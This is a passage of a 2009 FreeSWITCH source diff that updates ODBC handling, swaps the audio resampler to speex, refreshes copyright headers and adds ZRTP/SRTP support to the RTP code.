+		SQLDescribeCol(stmt, 1, name, sizeof(name), &NameLength, &DataType, &ColumnSize, &DecimalDigits, &Nullable);
+		SQLGetData(stmt, 1, SQL_C_CHAR, (SQLCHAR *) resbuf, (SQLLEN) len, NULL);
+		sstatus = SWITCH_ODBC_SUCCESS;
+	} else {
+		return sstatus;
+	}
+
+ done:
+	switch_odbc_statement_handle_free(&stmt);
+	return sstatus;
+#else
+	return SWITCH_ODBC_FAIL;
+#endif
+}
+
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, char *sql, switch_odbc_statement_handle_t * rstmt)
+{
+#ifdef SWITCH_HAVE_ODBC
 	SQLHSTMT stmt = NULL;
 	int result;
 
@@ -327,6 +411,7 @@
 	} else if (stmt) {
 		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
 	}
+#endif
 	return SWITCH_ODBC_FAIL;
 }
 
@@ -334,6 +419,7 @@
 																			   switch_odbc_handle_t *handle,
 																			   char *sql, switch_core_db_callback_func_t callback, void *pdata)
 {
+#ifdef SWITCH_HAVE_ODBC
 	SQLHSTMT stmt = NULL;
 	SQLSMALLINT c = 0, x = 0;
 	SQLLEN m = 0, t = 0;
@@ -366,7 +452,6 @@
 	SQLNumResultCols(stmt, &c);
 	SQLRowCount(stmt, &m);
 
-
 	for (t = 0 ;; t++) {
 		int name_len = 256;
 		char **names;
@@ -389,12 +474,16 @@
 		switch_assert(names && vals);
 
 		for (x = 1; x <= c; x++) {
-			SQLSMALLINT NameLength, DataType, DecimalDigits, Nullable;
-			SQLULEN ColumnSize;
+			SQLSMALLINT NameLength = 0, DataType = 0, DecimalDigits = 0, Nullable = 0;
+			SQLULEN ColumnSize = 0;
 			names[y] = malloc(name_len);
 			memset(names[y], 0, name_len);
 
 			SQLDescribeCol(stmt, x, (SQLCHAR *) names[y], (SQLSMALLINT) name_len, &NameLength, &DataType, &ColumnSize, &DecimalDigits, &Nullable);
+
+			if (!ColumnSize) {
+				ColumnSize = 255;
+			}
 			ColumnSize++;
 
 			vals[y] = malloc(ColumnSize);
@@ -442,11 +531,14 @@
 		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
 	}
 
+#endif
 	return SWITCH_ODBC_FAIL;
 }
 
 SWITCH_DECLARE(void) switch_odbc_handle_destroy(switch_odbc_handle_t **handlep)
 {
+#ifdef SWITCH_HAVE_ODBC
+
 	switch_odbc_handle_t *handle = NULL;
 
 	if (!handlep) {
@@ -465,15 +557,24 @@
 		free(handle);
 	}
 	*handlep = NULL;
+#else
+	return;
+#endif
 }
 
 SWITCH_DECLARE(switch_odbc_state_t) switch_odbc_handle_get_state(switch_odbc_handle_t *handle)
 {
+#ifdef SWITCH_HAVE_ODBC
 	return handle ? handle->state : SWITCH_ODBC_STATE_INIT;
+#else
+	return SWITCH_ODBC_STATE_ERROR;
+#endif
 }
 
-SWITCH_DECLARE(char *) switch_odbc_handle_get_error(switch_odbc_handle_t *handle, SQLHSTMT stmt)
+SWITCH_DECLARE(char *) switch_odbc_handle_get_error(switch_odbc_handle_t *handle, switch_odbc_statement_handle_t stmt)
 {
+#ifdef SWITCH_HAVE_ODBC
+
 	char buffer[SQL_MAX_MESSAGE_LENGTH + 1] = "";
 	char sqlstate[SQL_SQLSTATE_SIZE + 1] = "";
 	SQLINTEGER sqlcode;
@@ -485,9 +586,21 @@
 	};
 
 	return ret;
+#else
+	return NULL;
+#endif
 }
 
+SWITCH_DECLARE(switch_bool_t) switch_odbc_available(void)
+{
+#ifdef SWITCH_HAVE_ODBC
+	return SWITCH_TRUE;
+#else
+	return SWITCH_FALSE;
+#endif
+}
 
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Modified: freeswitch/branches/seven/src/switch_pcm.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_pcm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_pcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_pcm.c -- Raw and Encoded PCM 16 bit Signed Linear

Modified: freeswitch/branches/seven/src/switch_regex.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_regex.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_regex.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -60,11 +60,18 @@
 	int match_count = 0;
 	char *tmp = NULL;
 	uint32_t flags = 0;
+	char abuf[256] = "";
 
 	if (!(field && expression)) {
 		return 0;
 	}
 
+	if (*expression == '_') {
+		if (switch_ast2regex(expression + 1, abuf, sizeof(abuf))) {
+			expression = abuf;
+		}
+	}
+	
 	if (*expression == '/') {
 		char *opts = NULL;
 		tmp = strdup(expression + 1);
@@ -201,7 +208,7 @@
 		pcre_prepared = NULL;
 	}
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "number of matches: %d\n", match_count);
+	/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "number of matches: %d\n", match_count); */
 
 	/* Was it a match made in heaven? */
 	if (match_count > 0) {

Modified: freeswitch/branches/seven/src/switch_resample.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_resample.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_resample.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_caller.c -- Caller Identification
@@ -35,9 +35,8 @@
 #ifndef WIN32
 #include <switch_private.h>
 #endif
-#ifndef DISABLE_RESAMPLE
-#include <libresample.h>
-#endif
+#include <speex/speex_resampler.h>
+
 #define NORMFACT (float)0x8000
 #define MAXSAMPLE (float)0x7FFF
 #define MAXSAMPLEC (char)0x7F
@@ -53,74 +52,56 @@
 
 #define resample_buffer(a, b, c) a > b ? ((a / 1000) / 2) * c : ((b / 1000) / 2) * c
 
-SWITCH_DECLARE(switch_status_t) switch_resample_create(switch_audio_resampler_t **new_resampler,
-													   int from_rate, switch_size_t from_size, int to_rate, uint32_t to_size, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
+															   uint32_t from_rate, uint32_t to_rate, 
+															   uint32_t to_size,
+															   int quality,
+															   uint32_t channels,
+															   const char *file, const char *func, int line)
 {
-#ifdef DISABLE_RESAMPLE
-	*new_resampler = NULL;
-	return SWITCH_STATUS_NOTIMPL;
-#else
+	int err = 0;
 	switch_audio_resampler_t *resampler;
 	double lto_rate, lfrom_rate;
 
-	if ((resampler = switch_core_alloc(pool, sizeof(*resampler))) == 0) {
-		return SWITCH_STATUS_MEMERR;
+	switch_zmalloc(resampler, sizeof(*resampler));
+	
+	resampler->resampler = speex_resampler_init(channels ? channels : 1, from_rate, to_rate, quality, &err);
+
+	if (!resampler->resampler) {
+		free(resampler);
+		return SWITCH_STATUS_GENERR;
 	}
 
+	*new_resampler = resampler;
+	lto_rate = (double) resampler->to_rate;
+    lfrom_rate = (double) resampler->from_rate;
 	resampler->from_rate = from_rate;
-	resampler->to_rate = to_rate;
-	lto_rate = (double) resampler->to_rate;
-	lfrom_rate = (double) resampler->from_rate;
-	resampler->factor = (lto_rate / lfrom_rate);
-	resampler->rfactor = (lfrom_rate / lto_rate);
+    resampler->to_rate = to_rate;
+    resampler->factor = (lto_rate / lfrom_rate);
+    resampler->rfactor = (lfrom_rate / lto_rate);
+	resampler->to_size = resample_buffer(to_rate, from_rate, (uint32_t) to_size);
+	resampler->to = malloc(resampler->to_size * sizeof(int16_t));
 
-	resampler->resampler = resample_open(QUALITY, resampler->factor, resampler->factor);
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Activate Resampler %d->%d %f\n", resampler->from_rate, resampler->to_rate,
-					  resampler->factor);
-	resampler->from_size = resample_buffer(to_rate, from_rate, (uint32_t) from_size);
-	resampler->from = (float *) switch_core_alloc(pool, resampler->from_size * sizeof(float));
-	resampler->to_size = resample_buffer(to_rate, from_rate, (uint32_t) to_size);;
-	resampler->to = (float *) switch_core_alloc(pool, resampler->to_size * sizeof(float));
-
-	*new_resampler = resampler;
 	return SWITCH_STATUS_SUCCESS;
-#endif
 }
 
-SWITCH_DECLARE(uint32_t) switch_resample_process(switch_audio_resampler_t *resampler, float *src, int srclen, float *dst, uint32_t dstlen, int last)
+
+SWITCH_DECLARE(uint32_t) switch_resample_process(switch_audio_resampler_t *resampler, int16_t *src, uint32_t srclen)
 {
-#ifdef DISABLE_RESAMPLE
-	return 0;
-#else
-	int o = 0, srcused = 0, srcpos = 0, out = 0;
-
-	for (;;) {
-		int srcBlock = MIN(srclen - srcpos, srclen);
-		int lastFlag = (last && (srcBlock == srclen - srcpos));
-		o = resample_process(resampler->resampler, resampler->factor, &src[srcpos], srcBlock, lastFlag, &srcused, &dst[out], dstlen - out);
-		/* printf("resampling %d/%d (%d) %d %f\n",  srcpos, srclen,  MIN(dstlen-out, dstlen), srcused, factor); */
-
-		srcpos += srcused;
-		if (o >= 0) {
-			out += o;
-		}
-		if (o < 0 || (o == 0 && srcpos == srclen)) {
-			break;
-		}
-	}
-	return out;
-#endif
+	resampler->to_len = resampler->to_size;
+	speex_resampler_process_interleaved_int(resampler->resampler, src, &srclen, resampler->to, &resampler->to_len);
+	return resampler->to_len;
 }
 
 SWITCH_DECLARE(void) switch_resample_destroy(switch_audio_resampler_t **resampler)
 {
 
 	if (resampler && *resampler) {
-#ifndef DISABLE_RESAMPLE
 		if ((*resampler)->resampler) {
-			resample_close((*resampler)->resampler);
+			speex_resampler_destroy((*resampler)->resampler);
 		}
-#endif
+		free((*resampler)->to);
+		free(*resampler);
 		*resampler = NULL;
 	}
 }
@@ -137,9 +118,9 @@
 			s[i] = (short) (ft - 0.5);
 		}
 		if ((float) s[i] > MAXSAMPLE)
-			s[i] = (short) MAXSAMPLE;
+			s[i] = (short) MAXSAMPLE / 2;
 		if (s[i] < (short) -MAXSAMPLE)
-			s[i] = (short) -MAXSAMPLE;
+			s[i] = (short) -MAXSAMPLE / 2;
 	}
 	return len;
 }
@@ -201,22 +182,44 @@
 	}
 }
 
+#if 1
 SWITCH_DECLARE(void) switch_generate_sln_silence(int16_t *data, uint32_t samples, uint32_t divisor)
 {
 	int16_t x;
 	uint32_t i;
 	int sum_rnd = 0;
-	int16_t rnd2 = (int16_t) switch_timestamp_now();
+	int16_t rnd2 = (int16_t) switch_micro_time_now() + (int16_t) (intptr_t) data;
 
 	assert(divisor);
 
-
-
 	for (i = 0; i < samples; i++, sum_rnd = 0) {
 		for (x = 0; x < 6; x++) {
 			rnd2 = rnd2 * 31821U + 13849U;
-			sum_rnd += rnd2;
+			sum_rnd += rnd2 ;
 		}
+		//switch_normalize_to_16bit(sum_rnd);
+		*data = (int16_t) ((int16_t) sum_rnd / (int) divisor);
+
+		data++;
+	}
+}
+#else
+
+SWITCH_DECLARE(void) switch_generate_sln_silence(int16_t *data, uint32_t samples, uint32_t divisor)
+{
+	int16_t rnd = 0, rnd2, x;
+	uint32_t i;
+	int sum_rnd = 0;
+
+	assert(divisor);
+
+	rnd2 = (int16_t) (intptr_t) (&data + switch_epoch_time_now(NULL));
+
+	for (i = 0; i < samples; i++, sum_rnd = 0) {
+		for (x = 0; x < 10; x++) {
+			rnd = rnd + (int16_t)((x + i) * rnd2);
+			sum_rnd += rnd;
+		}
 		switch_normalize_to_16bit(sum_rnd);
 		*data = (int16_t) ((int16_t) sum_rnd / (int) divisor);
 
@@ -224,6 +227,8 @@
 	}
 }
 
+#endif
+
 SWITCH_DECLARE(uint32_t) switch_merge_sln(int16_t *data, uint32_t samples, int16_t *other_data, uint32_t other_samples)
 {
 	int i;
@@ -244,11 +249,12 @@
 	return x;
 }
 
-SWITCH_DECLARE(void) switch_mux_channels(int16_t *data, uint32_t samples, uint32_t channels)
+SWITCH_DECLARE(void) switch_mux_channels(int16_t *data, switch_size_t samples, uint32_t channels)
 {
 	int16_t *buf;
 	switch_size_t len = samples * sizeof(int16_t);
-	uint32_t i = 0, j = 0, k = 0;
+	switch_size_t i = 0;
+	uint32_t j = 0, k = 0;
 
 	switch_zmalloc(buf, len);
 	

Modified: freeswitch/branches/seven/src/switch_rtp.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_rtp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_rtp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Marcel Barbulescu <marcelbarbulescu@gmail.com>
  *
  *
@@ -31,6 +31,7 @@
  *
  */
 //#define DEBUG_2833
+//#define RTP_DEBUG_WRITE_DELTA
 #include <switch.h>
 #include <switch_stun.h>
 #undef PACKAGE_NAME
@@ -65,6 +66,14 @@
 
 typedef srtp_hdr_t rtp_hdr_t;
 
+#ifdef ENABLE_ZRTP
+#include <libzrtp/zrtp.h>
+static zrtp_global_t *zrtp_global;
+static zrtp_zid_t zid = { "FreeSWITCH01" };
+static int zrtp_on = 0;
+#define ZRTP_MITM_TRIES 50
+#endif
+
 #ifdef _MSC_VER
 #pragma pack(4)
 #endif
@@ -129,7 +138,9 @@
 	 * used.
 	 */
 	switch_socket_t *sock_input, *sock_output;
-
+	switch_pollfd_t *read_pollfd;
+	switch_pollfd_t *jb_pollfd;
+	
 	switch_sockaddr_t *local_addr;
 	rtp_msg_t send_msg;
 
@@ -188,7 +199,6 @@
 	switch_timer_t timer;
 	uint8_t ready;
 	uint8_t cn;
-	switch_time_t last_time;
 	stfu_instance_t *jb;
 	uint32_t max_missed_packets;
 	uint32_t missed_count;
@@ -201,6 +211,20 @@
 	int from_auto;
 	uint32_t cng_count;
 	switch_rtp_bug_flag_t rtp_bugs;
+	switch_rtp_stats_t stats;
+	int hot_hits;
+
+#ifdef ENABLE_ZRTP
+	zrtp_session_t *zrtp_session;
+	zrtp_profile_t *zrtp_profile;
+	zrtp_stream_t *zrtp_ctx;
+	int zrtp_mitm_tries;
+#endif
+
+#ifdef RTP_DEBUG_WRITE_DELTA
+	switch_time_t send_time;
+#endif
+
 };
 
 static int global_init = 0;
@@ -228,7 +252,7 @@
 
 #if 0
 	if (rtp_session->last_stun) {
-		elapsed = (unsigned int) ((switch_timestamp_now() - rtp_session->last_stun) / 1000);
+		elapsed = (unsigned int) ((switch_micro_time_now() - rtp_session->last_stun) / 1000);
 		
 		if (elapsed > 30000) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No stun for a long time (PUNT!)\n");
@@ -282,7 +306,7 @@
 	}
 
 	if (rtp_session->last_stun) {
-		elapsed = (unsigned int) ((switch_timestamp_now() - rtp_session->last_stun) / 1000);
+		elapsed = (unsigned int) ((switch_micro_time_now() - rtp_session->last_stun) / 1000);
 
 		if (elapsed > 30000) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No stun for a long time (PUNT!)\n");
@@ -310,7 +334,7 @@
 		return;
 	}
 
-	rtp_session->last_stun = switch_timestamp_now();
+	rtp_session->last_stun = switch_micro_time_now();
 }
 
 static void handle_ice(switch_rtp_t *rtp_session, void *data, switch_size_t len)
@@ -346,7 +370,7 @@
 	}
 	end_buf = buf + ((sizeof(buf) > packet->header.length) ? packet->header.length : sizeof(buf));
 
-	rtp_session->last_stun = switch_timestamp_now();
+	rtp_session->last_stun = switch_micro_time_now();
 
 	switch_stun_packet_first_attribute(packet, attr);
 
@@ -389,13 +413,201 @@
 	WRITE_DEC(rtp_session);
 }
 
+#ifdef ENABLE_ZRTP
+SWITCH_STANDARD_SCHED_FUNC(zrtp_cache_save_callback)
+{
+	zrtp_status_t status = zrtp_status_ok;
 
+	status = zrtp_def_cache_store(zrtp_global);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Saving ZRTP cache: %s\n", zrtp_status_ok == status ? "OK" : "FAIL");
+	task->runtime = switch_epoch_time_now(NULL) + 900;
+}
+
+static int zrtp_send_rtp_callback(const zrtp_stream_t* stream, char* rtp_packet, unsigned int rtp_packet_length)
+{
+	switch_rtp_t *rtp_session = zrtp_stream_get_userdata(stream);
+	switch_size_t len = rtp_packet_length;
+	zrtp_status_t status = zrtp_status_ok;
+
+	switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, rtp_packet, &len);
+	return status;
+}
+
+static void zrtp_event_callback(zrtp_stream_t *stream, unsigned event)
+{
+	switch_rtp_t *rtp_session = zrtp_stream_get_userdata(stream);
+	switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_event_t *fsevent = NULL;
+	
+	zrtp_session_info_t zrtp_session_info;
+
+	switch (event) {
+	case ZRTP_EVENT_IS_SECURE:
+		{
+			switch_set_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_SEND);
+			switch_set_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_RECV);
+			switch_set_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
+			switch_set_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
+			if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
+				if (zrtp_session_info.sas_is_ready) {
+					
+					switch_channel_set_variable(channel, "zrtp_secure_media_confirmed", "true");
+					switch_channel_set_variable(channel, "zrtp_sas1_string", rtp_session->zrtp_session->sas1.buffer);
+					switch_channel_set_variable(channel, "zrtp_sas2_string", rtp_session->zrtp_session->sas2.buffer);
+					
+					zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid, 
+									  &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+					
+				}
+			}
+		}
+		if (switch_event_create(&fsevent, SWITCH_EVENT_CALL_SECURE) == SWITCH_STATUS_SUCCESS) {
+			switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_type", "zrtp:%s:%s",
+									rtp_session->zrtp_session->sas1.buffer, rtp_session->zrtp_session->sas2.buffer);
+			switch_event_add_header_string(fsevent, SWITCH_STACK_BOTTOM, "caller-unique-id", switch_channel_get_uuid(channel));
+			switch_event_fire(&fsevent);
+		}
+		break;
+#if 0
+	case ZRTP_EVENT_NO_ZRTP_QUICK:
+		{
+			if (rtp_session->zrtp_ctx != NULL) {
+				zrtp_stream_stop(rtp_session->zrtp_ctx);
+			}
+		}
+		break;
+#endif
+	case ZRTP_EVENT_IS_CLIENT_ENROLLMENT:
+		{
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Enrolled complete!\n");
+			switch_channel_set_variable(channel, "zrtp_enroll_complete", "true");
+		}
+		break;
+
+	case ZRTP_EVENT_USER_ALREADY_ENROLLED:
+		{
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "User already enrolled!\n");
+			switch_channel_set_variable(channel, "zrtp_already_enrolled", "true");
+			
+			if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
+				if (zrtp_session_info.sas_is_ready) {
+					zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid, 
+									  &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+				}
+			}
+		}
+		break;
+
+	case ZRTP_EVENT_NEW_USER_ENROLLED:
+		{
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "New user enrolled!\n");
+			switch_channel_set_variable(channel, "zrtp_new_user_enrolled", "true");
+
+			if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
+				if (zrtp_session_info.sas_is_ready) {
+					zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid, 
+									  &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+				}
+			}
+		}
+		break;
+		
+	case ZRTP_EVENT_USER_UNENROLLED:
+		{
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "User unenrolled!\n");
+			switch_channel_set_variable(channel, "zrtp_user_unenrolled", "true");
+			
+			if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
+				if (zrtp_session_info.sas_is_ready) {
+					zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid, 
+									  &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+				}
+			}
+		}
+		break;
+
+	case ZRTP_EVENT_IS_PENDINGCLEAR:
+		{
+			switch_channel_set_variable(channel, "zrtp_secure_media_confirmed", "false");
+			switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_SEND);
+			switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_RECV);
+			switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
+			switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
+			rtp_session->zrtp_mitm_tries = 0;
+		}
+		break;
+
+	case ZRTP_EVENT_NO_ZRTP:
+		{
+			switch_channel_set_variable(channel, "zrtp_secure_media_confirmed", "false");
+		}
+		break;
+
+	default:
+		break;
+	}
+}
+
+static void zrtp_logger(int level, const char *data, int len)
+{
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s", data);
+}
+
+static void zrtp_handler(switch_rtp_t *rtp_session, switch_socket_t *sock, void *data, switch_size_t datalen, switch_sockaddr_t *from_addr)
+{
+	zrtp_status_t status = zrtp_status_fail;
+	unsigned int len = datalen;
+
+	status = zrtp_process_srtp(rtp_session->zrtp_ctx, (char*)data, &len);
+	switch(status) {
+	case zrtp_status_ok:
+		break;
+	case zrtp_status_drop:
+		break;
+	case zrtp_status_fail:
+		break;
+	default:
+		break;
+	}
+}
+#endif
+
 SWITCH_DECLARE(void) switch_rtp_init(switch_memory_pool_t *pool)
 {
+#ifdef ENABLE_ZRTP
+	const char *zid_string = switch_core_get_variable("switch_serial");
+	const char *zrtp_enabled = switch_core_get_variable("zrtp_enabled");
+	zrtp_on = zrtp_enabled ? switch_true(zrtp_enabled) : 0;
+	zrtp_config_t zrtp_config;
+	char zrtp_cache_path[256] = "";
+#endif
 	if (global_init) {
 		return;
 	}
 	switch_core_hash_init(&alloc_hash, pool);
+#ifdef ENABLE_ZRTP
+	if (zrtp_on) {
+		zrtp_config_defaults(&zrtp_config);
+		strcpy(zrtp_config.client_id, "FreeSWITCH");
+		zrtp_config.is_mitm = 1;
+		zrtp_config.lic_mode = ZRTP_LICENSE_MODE_ACTIVE;
+		switch_snprintf(zrtp_cache_path, sizeof(zrtp_cache_path), "%s%szrtp.dat", SWITCH_GLOBAL_dirs.db_dir, SWITCH_PATH_SEPARATOR);
+		zrtp_zstrcpyc( ZSTR_GV(zrtp_config.def_cache_path), zrtp_cache_path);
+		zrtp_config.cb.event_cb.on_zrtp_protocol_event = zrtp_event_callback;
+		zrtp_config.cb.misc_cb.on_send_packet = zrtp_send_rtp_callback;
+		zrtp_config.cb.event_cb.on_zrtp_security_event = zrtp_event_callback;
+		
+		zrtp_log_set_log_engine(zrtp_logger);
+		zrtp_log_set_level(4);
+		if (zrtp_status_ok != zrtp_init(&zrtp_config, &zrtp_global)) {
+			abort();
+		}
+		
+		memcpy(zid, zid_string, 12);
+		switch_scheduler_add_task(switch_epoch_time_now(NULL) + 900, zrtp_cache_save_callback, "zrtp_cache_save", "core", 0, NULL, SSHF_NONE | SSHF_NO_DEL);
+	}
+#endif
 	srtp_init();
 	switch_mutex_init(&port_lock, SWITCH_MUTEX_NESTED, pool);
 	global_init = 1;
@@ -409,7 +621,35 @@
 
 SWITCH_DECLARE(void) switch_rtp_shutdown(void)
 {
+	switch_core_port_allocator_t *alloc = NULL;
+	switch_hash_index_t *hi;
+    const void *var;
+    void *val;
+
+	switch_mutex_lock(port_lock);
+
+	for (hi = switch_hash_first(NULL, alloc_hash); hi; hi = switch_hash_next(hi)) {
+		switch_hash_this(hi, &var, NULL, &val);
+		if ((alloc = (switch_core_port_allocator_t *) val)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroy port allocator for %s\n", (char *)var);
+			switch_core_port_allocator_destroy(&alloc);
+		}
+	}
+
 	switch_core_hash_destroy(&alloc_hash);
+	switch_mutex_unlock(port_lock);
+
+#ifdef ENABLE_ZRTP
+	if (zrtp_on) {
+		zrtp_status_t status = zrtp_status_ok;
+
+		status = zrtp_def_cache_store(zrtp_global);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Saving ZRTP cache: %s\n", zrtp_status_ok == status ? "OK" : "FAIL");
+		zrtp_down(zrtp_global);
+	}
+#endif
+	crypto_kernel_shutdown();
+
 }
 
 SWITCH_DECLARE(switch_port_t) switch_rtp_set_start_port(switch_port_t port)
@@ -581,6 +821,8 @@
 		switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
 	}
 
+	switch_socket_create_pollfd(&rtp_session->read_pollfd, rtp_session->sock_input, SWITCH_POLLIN | SWITCH_POLLERR, rtp_session->pool);	
+
 	status = SWITCH_STATUS_SUCCESS;
 	*err = "Success";
 	switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_IO);
@@ -605,6 +847,12 @@
 
 SWITCH_DECLARE(void) switch_rtp_set_max_missed_packets(switch_rtp_t *rtp_session, uint32_t max)
 {
+	if (rtp_session->missed_count >= max) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+						  "new max missed packets(%d->%d) greater than current missed packets(%d). RTP will timeout.\n", 
+						  rtp_session->missed_count, max, rtp_session->missed_count);
+	}
+
 	rtp_session->max_missed_packets = max;
 }
 
@@ -677,6 +925,9 @@
 	srtp_policy_t *policy;
 	err_status_t stat;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_event_t *fsevent = NULL;
 
 	if (direction >= SWITCH_RTP_CRYPTO_MAX || keylen > SWITCH_RTP_MAX_CRYPTO_LEN) {
 		return SWITCH_STATUS_FALSE;
@@ -697,16 +948,25 @@
 	rtp_session->crypto_keys[direction] = crypto_key;
 
 	memset(policy, 0, sizeof(*policy));
-
+	
 	switch (crypto_key->type) {
 	case AES_CM_128_HMAC_SHA1_80:
 		crypto_policy_set_aes_cm_128_hmac_sha1_80(&policy->rtp);
+		if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
+			switch_channel_set_variable(channel, "sip_has_crypto", "AES_CM_128_HMAC_SHA1_80");
+		}
 		break;
 	case AES_CM_128_HMAC_SHA1_32:
 		crypto_policy_set_aes_cm_128_hmac_sha1_32(&policy->rtp);
+		if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
+			switch_channel_set_variable(channel, "sip_has_crypto", "AES_CM_128_HMAC_SHA1_32");
+		}
 		break;
